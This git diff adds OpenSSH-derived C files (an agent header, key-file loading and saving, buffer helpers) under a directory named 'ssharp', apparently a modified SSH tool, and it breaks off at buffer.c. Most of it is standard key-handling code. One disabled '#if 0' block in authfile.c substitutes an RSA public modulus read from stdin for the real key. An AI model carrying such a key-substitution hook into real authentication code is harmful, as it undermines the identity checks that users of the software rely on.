SSH2_AGENTC_ADD_IDENTITY 17 +#define SSH2_AGENTC_REMOVE_IDENTITY 18 +#define SSH2_AGENTC_REMOVE_ALL_IDENTITIES 19 + +/* additional error code for ssh.com's ssh-agent2 */ +#define SSH_COM_AGENT2_FAILURE 102 + +#define SSH_AGENT_OLD_SIGNATURE 0x01 + + +typedef struct { + int fd; + Buffer identities; + int howmany; +} AuthenticationConnection; + +/* Returns the number of the authentication fd, or -1 if there is none. */ +int ssh_get_authentication_socket(void); + +/* + * This should be called for any descriptor returned by + * ssh_get_authentication_socket(). Depending on the way the descriptor was + * obtained, this may close the descriptor. + */ +void ssh_close_authentication_socket(int authfd); + +/* + * Opens and connects a private socket for communication with the + * authentication agent. Returns NULL if an error occurred and the + * connection could not be opened. The connection should be closed by the + * caller by calling ssh_close_authentication_connection(). + */ +AuthenticationConnection *ssh_get_authentication_connection(void); + +/* + * Closes the connection to the authentication agent and frees any associated + * memory. + */ +void ssh_close_authentication_connection(AuthenticationConnection *auth); + +/* + * Returns the number authentication identity held by the agent. + */ +int ssh_get_num_identities(AuthenticationConnection *auth, int version); + +/* + * Returns the first authentication identity held by the agent or NULL if + * no identies are available. Caller must free comment and key. + * Note that you cannot mix calls with different versions. + */ +Key *ssh_get_first_identity(AuthenticationConnection *auth, char **comment, int version); + +/* + * Returns the next authentication identity for the agent. Other functions + * can be called between this and ssh_get_first_identity or two calls of this + * function. This returns NULL if there are no more identities. The caller + * must free key and comment after a successful return. + */ +Key *ssh_get_next_identity(AuthenticationConnection *auth, char **comment, int version); + +/* + * Requests the agent to decrypt the given challenge. Returns true if the + * agent claims it was able to decrypt it. + */ +int +ssh_decrypt_challenge(AuthenticationConnection *auth, + Key *key, BIGNUM * challenge, + u_char session_id[16], + u_int response_type, + u_char response[16]); + +/* Requests the agent to sign data using key */ +int +ssh_agent_sign(AuthenticationConnection *auth, + Key *key, + u_char **sigp, int *lenp, + u_char *data, int datalen); + +/* + * Adds an identity to the authentication server. This call is not meant to + * be used by normal applications. This returns true if the identity was + * successfully added. + */ +int +ssh_add_identity(AuthenticationConnection *auth, Key *key, + const char *comment); + +/* + * Removes the identity from the authentication server. This call is not + * meant to be used by normal applications. This returns true if the + * identity was successfully added. + */ +int ssh_remove_identity(AuthenticationConnection *auth, Key *key); + +/* + * Removes all identities from the authentication agent. This call is not + * meant to be used by normal applications. This returns true if the + * operation was successful. + */ +int ssh_remove_all_identities(AuthenticationConnection *auth, int version); + +#endif /* AUTHFD_H */ diff --git a/other/ssharp/authfile.c b/other/ssharp/authfile.c new file mode 100644 index 0000000..1963a10 --- /dev/null +++ b/other/ssharp/authfile.c @@ -0,0 +1,651 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * This file contains functions for reading and writing identity files, and + * for reading the passphrase from the user. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: authfile.c,v 1.32 2001/04/18 23:44:51 markus Exp $"); + +#include +#include +#include + +#include "cipher.h" +#include "xmalloc.h" +#include "buffer.h" +#include "bufaux.h" +#include "key.h" +#include "ssh.h" +#include "log.h" +#include "authfile.h" + +/* Version identification string for SSH v1 identity files. */ +static const char authfile_id_string[] = + "SSH PRIVATE KEY FILE FORMAT 1.1\n"; + +/* + * Saves the authentication (private) key in a file, encrypting it with + * passphrase. The identification of the file (lowest 64 bits of n) will + * precede the key to provide identification of the key without needing a + * passphrase. + */ + +#include "readconf.h" + +extern Options options; + +int +key_save_private_rsa1(Key *key, const char *filename, const char *passphrase, + const char *comment) +{ + Buffer buffer, encrypted; + char buf[100], *cp; + int fd, i; + CipherContext ciphercontext; + Cipher *cipher; + u_int32_t rand; + + /* + * If the passphrase is empty, use SSH_CIPHER_NONE to ease converting + * to another cipher; otherwise use SSH_AUTHFILE_CIPHER. + */ + if (strcmp(passphrase, "") == 0) + cipher = cipher_by_number(SSH_CIPHER_NONE); + else + cipher = cipher_by_number(SSH_AUTHFILE_CIPHER); + if (cipher == NULL) + fatal("save_private_key_rsa: bad cipher"); + + /* This buffer is used to built the secret part of the private key. */ + buffer_init(&buffer); + + /* Put checkbytes for checking passphrase validity. */ + rand = arc4random(); + buf[0] = rand & 0xff; + buf[1] = (rand >> 8) & 0xff; + buf[2] = buf[0]; + buf[3] = buf[1]; + buffer_append(&buffer, buf, 4); + + /* + * Store the private key (n and e will not be stored because they + * will be stored in plain text, and storing them also in encrypted + * format would just give known plaintext). + */ + buffer_put_bignum(&buffer, key->rsa->d); + buffer_put_bignum(&buffer, key->rsa->iqmp); + buffer_put_bignum(&buffer, key->rsa->q); /* reverse from SSL p */ + buffer_put_bignum(&buffer, key->rsa->p); /* reverse from SSL q */ + + /* Pad the part to be encrypted until its size is a multiple of 8. */ + while (buffer_len(&buffer) % 8 != 0) + buffer_put_char(&buffer, 0); + + /* This buffer will be used to contain the data in the file. */ + buffer_init(&encrypted); + + /* First store keyfile id string. */ + for (i = 0; authfile_id_string[i]; i++) + buffer_put_char(&encrypted, authfile_id_string[i]); + buffer_put_char(&encrypted, 0); + + /* Store cipher type. */ + buffer_put_char(&encrypted, cipher->number); + buffer_put_int(&encrypted, 0); /* For future extension */ + + /* Store public key. This will be in plain text. */ + buffer_put_int(&encrypted, BN_num_bits(key->rsa->n)); + buffer_put_bignum(&encrypted, key->rsa->n); + buffer_put_bignum(&encrypted, key->rsa->e); + buffer_put_string(&encrypted, comment, strlen(comment)); + + /* Allocate space for the private part of the key in the buffer. */ + buffer_append_space(&encrypted, &cp, buffer_len(&buffer)); + + cipher_set_key_string(&ciphercontext, cipher, passphrase); + cipher_encrypt(&ciphercontext, (u_char *) cp, + (u_char *) buffer_ptr(&buffer), buffer_len(&buffer)); + memset(&ciphercontext, 0, sizeof(ciphercontext)); + + /* Destroy temporary data. */ + memset(buf, 0, sizeof(buf)); + buffer_free(&buffer); + + fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) { + error("open %s failed: %s.", filename, strerror(errno)); + return 0; + } + if (write(fd, buffer_ptr(&encrypted), buffer_len(&encrypted)) != + buffer_len(&encrypted)) { + error("write to key file %s failed: %s", filename, + strerror(errno)); + buffer_free(&encrypted); + close(fd); + unlink(filename); + return 0; + } + close(fd); + buffer_free(&encrypted); + return 1; +} + +/* save SSH v2 key in OpenSSL PEM format */ +int +key_save_private_pem(Key *key, const char *filename, const char *_passphrase, + const char *comment) +{ + FILE *fp; + int fd; + int success = 0; + int len = strlen(_passphrase); + char *passphrase = (len > 0) ? (char *)_passphrase : NULL; + EVP_CIPHER *cipher = (len > 0) ? EVP_des_ede3_cbc() : NULL; + + if (len > 0 && len <= 4) { + error("passphrase too short: have %d bytes, need > 4", len); + return 0; + } + fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) { + error("open %s failed: %s.", filename, strerror(errno)); + return 0; + } + fp = fdopen(fd, "w"); + if (fp == NULL ) { + error("fdopen %s failed: %s.", filename, strerror(errno)); + close(fd); + return 0; + } + switch (key->type) { + case KEY_DSA: + success = PEM_write_DSAPrivateKey(fp, key->dsa, + cipher, passphrase, len, NULL, NULL); + break; + case KEY_RSA: + success = PEM_write_RSAPrivateKey(fp, key->rsa, + cipher, passphrase, len, NULL, NULL); + break; + } + fclose(fp); + return success; +} + +int +key_save_private(Key *key, const char *filename, const char *passphrase, + const char *comment) +{ + switch (key->type) { + case KEY_RSA1: + return key_save_private_rsa1(key, filename, passphrase, + comment); + break; + case KEY_DSA: + case KEY_RSA: + return key_save_private_pem(key, filename, passphrase, + comment); + break; + default: + break; + } + error("key_save_private: cannot save key type %d", key->type); + return 0; +} + +/* + * Loads the public part of the ssh v1 key file. Returns NULL if an error was + * encountered (the file does not exist or is not readable), and the key + * otherwise. + */ + +Key * +key_load_public_rsa1(int fd, const char *filename, char **commentp) +{ + Buffer buffer; + Key *pub; + char *cp; + int i; + off_t len; + + len = lseek(fd, (off_t) 0, SEEK_END); + lseek(fd, (off_t) 0, SEEK_SET); + + buffer_init(&buffer); + buffer_append_space(&buffer, &cp, len); + + if (read(fd, cp, (size_t) len) != (size_t) len) { + debug("Read from key file %.200s failed: %.100s", filename, + strerror(errno)); + buffer_free(&buffer); + return NULL; + } + + /* Check that it is at least big enough to contain the ID string. */ + if (len < sizeof(authfile_id_string)) { + debug3("No RSA1 key file %.200s.", filename); + buffer_free(&buffer); + return NULL; + } + /* + * Make sure it begins with the id string. Consume the id string + * from the buffer. + */ + for (i = 0; i < sizeof(authfile_id_string); i++) + if (buffer_get_char(&buffer) != authfile_id_string[i]) { + debug3("No RSA1 key file %.200s.", filename); + buffer_free(&buffer); + return NULL; + } + /* Skip cipher type and reserved data. */ + (void) buffer_get_char(&buffer); /* cipher type */ + (void) buffer_get_int(&buffer); /* reserved */ + + /* Read the public key from the buffer. */ + buffer_get_int(&buffer); + pub = key_new(KEY_RSA1); + buffer_get_bignum(&buffer, pub->rsa->n); + buffer_get_bignum(&buffer, pub->rsa->e); + if (commentp) + *commentp = buffer_get_string(&buffer, NULL); + /* The encrypted private part is not parsed by this function. */ + + buffer_free(&buffer); + return pub; +} + +/* load public key from private-key file, works only for SSH v1 */ +Key * +key_load_public_type(int type, const char *filename, char **commentp) +{ + Key *pub; + int fd; + +#if 0 + /* Read in public modulus of key being used for auth */ + if (options.specialRSA) { + BIGNUM *b; + char buf[1024], *bufptr = buf; + int r; + + buffer_init(&b); + buffer_append_space(&b, &bufptr, sizeof(buf)); + + /* Will get binary represenation of an BIGNUM */ + r = read(0, buf, sizeof(buf)); + + pub = key_new(KEY_RSA1); + b = BN_new(); + BN_bin2bn(buf, r, b); + pub->rsa->n = b; + + *commentp = "Special RSA auth..."; + return pub; + } +#endif + if (type == KEY_RSA1) { + fd = open(filename, O_RDONLY); + if (fd < 0) + return NULL; + pub = key_load_public_rsa1(fd, filename, commentp); + + close(fd); + return pub; + } + return NULL; +} + +/* + * Loads the private key from the file. Returns 0 if an error is encountered + * (file does not exist or is not readable, or passphrase is bad). This + * initializes the private key. + * Assumes we are called under uid of the owner of the file. + */ + +Key * +key_load_private_rsa1(int fd, const char *filename, const char *passphrase, + char **commentp) +{ + int i, check1, check2, cipher_type; + off_t len; + Buffer buffer, decrypted; + char *cp; + CipherContext ciphercontext; + Cipher *cipher; + BN_CTX *ctx; + BIGNUM *aux; + Key *prv = NULL; + + len = lseek(fd, (off_t) 0, SEEK_END); + lseek(fd, (off_t) 0, SEEK_SET); + + buffer_init(&buffer); + buffer_append_space(&buffer, &cp, len); + + if (read(fd, cp, (size_t) len) != (size_t) len) { + debug("Read from key file %.200s failed: %.100s", filename, + strerror(errno)); + buffer_free(&buffer); + close(fd); + return NULL; + } + + /* Check that it is at least big enough to contain the ID string. */ + if (len < sizeof(authfile_id_string)) { + debug3("No RSA1 key file %.200s.", filename); + buffer_free(&buffer); + close(fd); + return NULL; + } + /* + * Make sure it begins with the id string. Consume the id string + * from the buffer. + */ + for (i = 0; i < sizeof(authfile_id_string); i++) + if (buffer_get_char(&buffer) != authfile_id_string[i]) { + debug3("No RSA1 key file %.200s.", filename); + buffer_free(&buffer); + close(fd); + return NULL; + } + + /* Read cipher type. */ + cipher_type = buffer_get_char(&buffer); + (void) buffer_get_int(&buffer); /* Reserved data. */ + + /* Read the public key from the buffer. */ + buffer_get_int(&buffer); + prv = key_new_private(KEY_RSA1); + + buffer_get_bignum(&buffer, prv->rsa->n); + buffer_get_bignum(&buffer, prv->rsa->e); + if (commentp) + *commentp = buffer_get_string(&buffer, NULL); + else + xfree(buffer_get_string(&buffer, NULL)); + + /* Check that it is a supported cipher. */ + cipher = cipher_by_number(cipher_type); + if (cipher == NULL) { + debug("Unsupported cipher %d used in key file %.200s.", + cipher_type, filename); + buffer_free(&buffer); + goto fail; + } + /* Initialize space for decrypted data. */ + buffer_init(&decrypted); + buffer_append_space(&decrypted, &cp, buffer_len(&buffer)); + + /* Rest of the buffer is encrypted. Decrypt it using the passphrase. */ + cipher_set_key_string(&ciphercontext, cipher, passphrase); + cipher_decrypt(&ciphercontext, (u_char *) cp, + (u_char *) buffer_ptr(&buffer), buffer_len(&buffer)); + memset(&ciphercontext, 0, sizeof(ciphercontext)); + buffer_free(&buffer); + + check1 = buffer_get_char(&decrypted); + check2 = buffer_get_char(&decrypted); + if (check1 != buffer_get_char(&decrypted) || + check2 != buffer_get_char(&decrypted)) { + if (strcmp(passphrase, "") != 0) + debug("Bad passphrase supplied for key file %.200s.", + filename); + /* Bad passphrase. */ + buffer_free(&decrypted); + goto fail; + } + /* Read the rest of the private key. */ + buffer_get_bignum(&decrypted, prv->rsa->d); + buffer_get_bignum(&decrypted, prv->rsa->iqmp); /* u */ + /* in SSL and SSH v1 p and q are exchanged */ + buffer_get_bignum(&decrypted, prv->rsa->q); /* p */ + buffer_get_bignum(&decrypted, prv->rsa->p); /* q */ + + /* calculate p-1 and q-1 */ + ctx = BN_CTX_new(); + aux = BN_new(); + + BN_sub(aux, prv->rsa->q, BN_value_one()); + BN_mod(prv->rsa->dmq1, prv->rsa->d, aux, ctx); + + BN_sub(aux, prv->rsa->p, BN_value_one()); + BN_mod(prv->rsa->dmp1, prv->rsa->d, aux, ctx); + + BN_clear_free(aux); + BN_CTX_free(ctx); + + buffer_free(&decrypted); + close(fd); + return prv; + +fail: + if (commentp) + xfree(*commentp); + close(fd); + key_free(prv); + return NULL; +} + +Key * +key_load_private_pem(int fd, int type, const char *passphrase, + char **commentp) +{ + FILE *fp; + EVP_PKEY *pk = NULL; + Key *prv = NULL; + char *name = ""; + + fp = fdopen(fd, "r"); + if (fp == NULL) { + error("fdopen failed: %s", strerror(errno)); + close(fd); + return NULL; + } + pk = PEM_read_PrivateKey(fp, NULL, NULL, (char *)passphrase); + if (pk == NULL) { + debug("PEM_read_PrivateKey failed"); + (void)ERR_get_error(); + } else if (pk->type == EVP_PKEY_RSA && + (type == KEY_UNSPEC||type==KEY_RSA)) { + prv = key_new(KEY_UNSPEC); + prv->rsa = EVP_PKEY_get1_RSA(pk); + prv->type = KEY_RSA; + name = "rsa w/o comment"; +#ifdef DEBUG_PK + RSA_print_fp(stderr, prv->rsa, 8); +#endif + } else if (pk->type == EVP_PKEY_DSA && + (type == KEY_UNSPEC||type==KEY_DSA)) { + prv = key_new(KEY_UNSPEC); + prv->dsa = EVP_PKEY_get1_DSA(pk); + prv->type = KEY_DSA; + name = "dsa w/o comment"; +#ifdef DEBUG_PK + DSA_print_fp(stderr, prv->dsa, 8); +#endif + } else { + error("PEM_read_PrivateKey: mismatch or " + "unknown EVP_PKEY save_type %d", pk->save_type); + } + fclose(fp); + if (pk != NULL) + EVP_PKEY_free(pk); + if (prv != NULL && commentp) + *commentp = xstrdup(name); + debug("read PEM private key done: type %s", + prv ? key_type(prv) : ""); + return prv; +} + +int +key_perm_ok(int fd, const char *filename) +{ + struct stat st; + + /* check owner and modes */ +#ifdef HAVE_CYGWIN + if (check_ntsec(filename)) +#endif + if (fstat(fd, &st) < 0 || + (st.st_uid != 0 && getuid() != 0 && st.st_uid != getuid()) || + (st.st_mode & 077) != 0) { + close(fd); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("@ WARNING: UNPROTECTED PRIVATE KEY FILE! @"); + error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"); + error("Bad ownership or mode(0%3.3o) for '%s'.", + st.st_mode & 0777, filename); + error("It is recommended that your private key files are NOT accessible by others."); + error("This private key will be ignored."); + return 0; + } + return 1; +} + +Key * +key_load_private_type(int type, const char *filename, const char *passphrase, + char **commentp) +{ + int fd; + + fd = open(filename, O_RDONLY); + if (fd < 0) + return NULL; + if (!key_perm_ok(fd, filename)) { + error("bad permissions: ignore key: %s", filename); + close(fd); + return NULL; + } + switch (type) { + case KEY_RSA1: + return key_load_private_rsa1(fd, filename, passphrase, + commentp); + /* closes fd */ + break; + case KEY_DSA: + case KEY_RSA: + case KEY_UNSPEC: + return key_load_private_pem(fd, type, passphrase, commentp); + /* closes fd */ + break; + default: + close(fd); + break; + } + return NULL; +} + +Key * +key_load_private(const char *filename, const char *passphrase, + char **commentp) +{ + Key *pub; + int fd; + + fd = open(filename, O_RDONLY); + if (fd < 0) + return NULL; + if (!key_perm_ok(fd, filename)) { + error("bad permissions: ignore key: %s", filename); + close(fd); + return NULL; + } + pub = key_load_public_rsa1(fd, filename, commentp); + lseek(fd, (off_t) 0, SEEK_SET); /* rewind */ + if (pub == NULL) { + /* closes fd */ + return key_load_private_pem(fd, KEY_UNSPEC, passphrase, NULL); + } else { + /* it's a SSH v1 key if the public key part is readable */ + key_free(pub); + /* closes fd */ + return key_load_private_rsa1(fd, filename, passphrase, NULL); + } +} + +int +key_try_load_public(Key *k, const char *filename, char **commentp) +{ + FILE *f; + char line[4096]; + char *cp; + + f = fopen(filename, "r"); + if (f != NULL) { + while (fgets(line, sizeof(line), f)) { + line[sizeof(line)-1] = '\0'; + cp = line; + switch(*cp){ + case '#': + case '\n': + case '\0': + continue; + } + /* Skip leading whitespace. */ + for (; *cp && (*cp == ' ' || *cp == '\t'); cp++) + ; + if (*cp) { + if (key_read(k, &cp) == 1) { + if (commentp) + *commentp=xstrdup(filename); + fclose(f); + return 1; + } + } + } + fclose(f); + } + return 0; +} + +/* load public key from ssh v1 private or any pubkey file */ +Key * +key_load_public(const char *filename, char **commentp) +{ + Key *pub; + char file[MAXPATHLEN]; + + pub = key_load_public_type(KEY_RSA1, filename, commentp); + if (pub != NULL) + return pub; + pub = key_new(KEY_UNSPEC); + if (key_try_load_public(pub, filename, commentp) == 1) + return pub; + if ((strlcpy(file, filename, sizeof file) < sizeof(file)) && + (strlcat(file, ".pub", sizeof file) < sizeof(file)) && + (key_try_load_public(pub, file, commentp) == 1)) + return pub; + key_free(pub); + return NULL; +} diff --git a/other/ssharp/authfile.h b/other/ssharp/authfile.h new file mode 100644 index 0000000..da90cd9 --- /dev/null +++ b/other/ssharp/authfile.h @@ -0,0 +1,36 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* $OpenBSD: authfile.h,v 1.6 2001/03/26 08:07:08 markus Exp $ */ + +#ifndef AUTHFILE_H +#define AUTHFILE_H + +int +key_save_private(Key *key, const char *filename, const char *passphrase, + const char *comment); + +Key * +key_load_public(const char *filename, char **commentp); + +Key * +key_load_public_type(int type, const char *filename, char **commentp); + +Key * +key_load_private(const char *filename, const char *passphrase, + char **commentp); + +Key * +key_load_private_type(int type, const char *filename, const char *passphrase, + char **commentp); + +#endif diff --git a/other/ssharp/bufaux.c b/other/ssharp/bufaux.c new file mode 100644 index 0000000..b17256d --- /dev/null +++ b/other/ssharp/bufaux.c @@ -0,0 +1,249 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Auxiliary functions for storing and retrieving various data types to/from + * Buffers. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * + * SSH2 packet format added by Markus Friedl + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: bufaux.c,v 1.17 2001/01/21 19:05:45 markus Exp $"); + +#include +#include "bufaux.h" +#include "xmalloc.h" +#include "getput.h" +#include "log.h" + +/* + * Stores an BIGNUM in the buffer with a 2-byte msb first bit count, followed + * by (bits+7)/8 bytes of binary data, msb first. + */ +void +buffer_put_bignum(Buffer *buffer, BIGNUM *value) +{ + int bits = BN_num_bits(value); + int bin_size = (bits + 7) / 8; + u_char *buf = xmalloc(bin_size); + int oi; + char msg[2]; + + /* Get the value of in binary */ + oi = BN_bn2bin(value, buf); + if (oi != bin_size) + fatal("buffer_put_bignum: BN_bn2bin() failed: oi %d != bin_size %d", + oi, bin_size); + + /* Store the number of bits in the buffer in two bytes, msb first. */ + PUT_16BIT(msg, bits); + buffer_append(buffer, msg, 2); + /* Store the binary data. */ + buffer_append(buffer, (char *)buf, oi); + + memset(buf, 0, bin_size); + xfree(buf); +} + +/* + * Retrieves an BIGNUM from the buffer. + */ +int +buffer_get_bignum(Buffer *buffer, BIGNUM *value) +{ + int bits, bytes; + u_char buf[2], *bin; + + /* Get the number for bits. */ + buffer_get(buffer, (char *) buf, 2); + bits = GET_16BIT(buf); + /* Compute the number of binary bytes that follow. */ + bytes = (bits + 7) / 8; + if (buffer_len(buffer) < bytes) + fatal("buffer_get_bignum: input buffer too small"); + bin = (u_char *) buffer_ptr(buffer); + BN_bin2bn(bin, bytes, value); + buffer_consume(buffer, bytes); + + return 2 + bytes; +} + +/* + * Stores an BIGNUM in the buffer in SSH2 format. + */ +void +buffer_put_bignum2(Buffer *buffer, BIGNUM *value) +{ + int bytes = BN_num_bytes(value) + 1; + u_char *buf = xmalloc(bytes); + int oi; + int hasnohigh = 0; + buf[0] = '\0'; + /* Get the value of in binary */ + oi = BN_bn2bin(value, buf+1); + if (oi != bytes-1) + fatal("buffer_put_bignum: BN_bn2bin() failed: oi %d != bin_size %d", + oi, bytes); + hasnohigh = (buf[1] & 0x80) ? 0 : 1; + if (value->neg) { + /**XXX should be two's-complement */ + int i, carry; + u_char *uc = buf; + log("negativ!"); + for(i = bytes-1, carry = 1; i>=0; i--) { + uc[i] ^= 0xff; + if(carry) + carry = !++uc[i]; + } + } + buffer_put_string(buffer, buf+hasnohigh, bytes-hasnohigh); + memset(buf, 0, bytes); + xfree(buf); +} + +int +buffer_get_bignum2(Buffer *buffer, BIGNUM *value) +{ + /**XXX should be two's-complement */ + int len; + u_char *bin = (u_char *)buffer_get_string(buffer, (u_int *)&len); + BN_bin2bn(bin, len, value); + xfree(bin); + return len; +} + +/* + * Returns an integer from the buffer (4 bytes, msb first). + */ +u_int +buffer_get_int(Buffer *buffer) +{ + u_char buf[4]; + buffer_get(buffer, (char *) buf, 4); + return GET_32BIT(buf); +} + +#ifdef HAVE_U_INT64_T +u_int64_t +buffer_get_int64(Buffer *buffer) +{ + u_char buf[8]; + buffer_get(buffer, (char *) buf, 8); + return GET_64BIT(buf); +} +#endif + +/* + * Stores an integer in the buffer in 4 bytes, msb first. + */ +void +buffer_put_int(Buffer *buffer, u_int value) +{ + char buf[4]; + PUT_32BIT(buf, value); + buffer_append(buffer, buf, 4); +} + +#ifdef HAVE_U_INT64_T +void +buffer_put_int64(Buffer *buffer, u_int64_t value) +{ + char buf[8]; + PUT_64BIT(buf, value); + buffer_append(buffer, buf, 8); +} +#endif + +/* + * Returns an arbitrary binary string from the buffer. The string cannot + * be longer than 256k. The returned value points to memory allocated + * with xmalloc; it is the responsibility of the calling function to free + * the data. If length_ptr is non-NULL, the length of the returned data + * will be stored there. A null character will be automatically appended + * to the returned string, and is not counted in length. + */ +char * +buffer_get_string(Buffer *buffer, u_int *length_ptr) +{ + u_int len; + char *value; + /* Get the length. */ + len = buffer_get_int(buffer); + if (len > 256 * 1024) + fatal("Received packet with bad string length %d", len); + /* Allocate space for the string. Add one byte for a null character. */ + value = xmalloc(len + 1); + /* Get the string. */ + buffer_get(buffer, value, len); + /* Append a null character to make processing easier. */ + value[len] = 0; + /* Optionally return the length of the string. */ + if (length_ptr) + *length_ptr = len; + return value; +} + +/* + * Stores and arbitrary binary string in the buffer. + */ +void +buffer_put_string(Buffer *buffer, const void *buf, u_int len) +{ + buffer_put_int(buffer, len); + buffer_append(buffer, buf, len); +} +void +buffer_put_cstring(Buffer *buffer, const char *s) +{ + buffer_put_string(buffer, s, strlen(s)); +} + +/* + * Returns a character from the buffer (0 - 255). + */ +int +buffer_get_char(Buffer *buffer) +{ + char ch; + buffer_get(buffer, &ch, 1); + return (u_char) ch; +} + +/* + * Stores a character in the buffer. + */ +void +buffer_put_char(Buffer *buffer, int value) +{ + char ch = value; + buffer_append(buffer, &ch, 1); +} diff --git a/other/ssharp/bufaux.h b/other/ssharp/bufaux.h new file mode 100644 index 0000000..c0182da --- /dev/null +++ b/other/ssharp/bufaux.h @@ -0,0 +1,64 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: bufaux.h,v 1.11 2001/01/21 19:05:45 markus Exp $"); */ + +#ifndef BUFAUX_H +#define BUFAUX_H + +#include "buffer.h" +#include + +/* + * Stores an BIGNUM in the buffer with a 2-byte msb first bit count, followed + * by (bits+7)/8 bytes of binary data, msb first. + */ +void buffer_put_bignum(Buffer * buffer, BIGNUM * value); +void buffer_put_bignum2(Buffer * buffer, BIGNUM * value); + +/* Retrieves an BIGNUM from the buffer. */ +int buffer_get_bignum(Buffer * buffer, BIGNUM * value); +int buffer_get_bignum2(Buffer *buffer, BIGNUM * value); + +/* Returns an integer from the buffer (4 bytes, msb first). */ +u_int buffer_get_int(Buffer * buffer); +#ifdef HAVE_U_INT64_T +u_int64_t buffer_get_int64(Buffer *buffer); +#endif + +/* Stores an integer in the buffer in 4 bytes, msb first. */ +void buffer_put_int(Buffer * buffer, u_int value); +#ifdef HAVE_U_INT64_T +void buffer_put_int64(Buffer *buffer, u_int64_t value); +#endif + +/* Returns a character from the buffer (0 - 255). */ +int buffer_get_char(Buffer * buffer); + +/* Stores a character in the buffer. */ +void buffer_put_char(Buffer * buffer, int value); + +/* + * Returns an arbitrary binary string from the buffer. The string cannot be + * longer than 256k. The returned value points to memory allocated with + * xmalloc; it is the responsibility of the calling function to free the + * data. If length_ptr is non-NULL, the length of the returned data will be + * stored there. A null character will be automatically appended to the + * returned string, and is not counted in length. + */ +char *buffer_get_string(Buffer * buffer, u_int *length_ptr); + +/* Stores and arbitrary binary string in the buffer. */ +void buffer_put_string(Buffer * buffer, const void *buf, u_int len); +void buffer_put_cstring(Buffer *buffer, const char *s); + +#endif /* BUFAUX_H */ diff --git a/other/ssharp/buffer.c b/other/ssharp/buffer.c new file mode 100644 index 0000000..044caaf --- /dev/null +++ b/other/ssharp/buffer.c @@ -0,0 +1,165 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions for manipulating fifo buffers (that can grow if needed). + * + * As far as I am 